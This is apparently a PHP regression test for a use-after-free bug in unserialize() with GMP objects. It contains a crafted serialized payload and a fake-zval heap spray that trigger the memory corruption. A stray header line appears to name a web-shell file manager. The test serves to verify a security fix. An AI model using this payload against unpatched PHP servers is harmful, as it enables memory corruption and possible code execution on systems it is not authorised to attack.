PAL.C.T MINI SHELL
--TEST--
Bug #70284 (Use after free vulnerability in unserialize() with GMP)
--SKIPIF--
<?php if (!extension_loaded("gmp")) print "skip"; ?>
--FILE--
<?php
$inner = 'r:2;a:1:{i:0;a:1:{i:0;r:4;}}';
$exploit = 'a:2:{i:0;s:1:"1";i:1;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$data = unserialize($exploit);
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
for ($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}
var_dump($data);
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
?>
--EXPECTF--
array(2) {
[0]=>
string(1) "1"
[1]=>
object(GMP)#%d (2) {
[0]=>
array(1) {
[0]=>
string(1) "1"
}
["num"]=>
string(1) "1"
}
}
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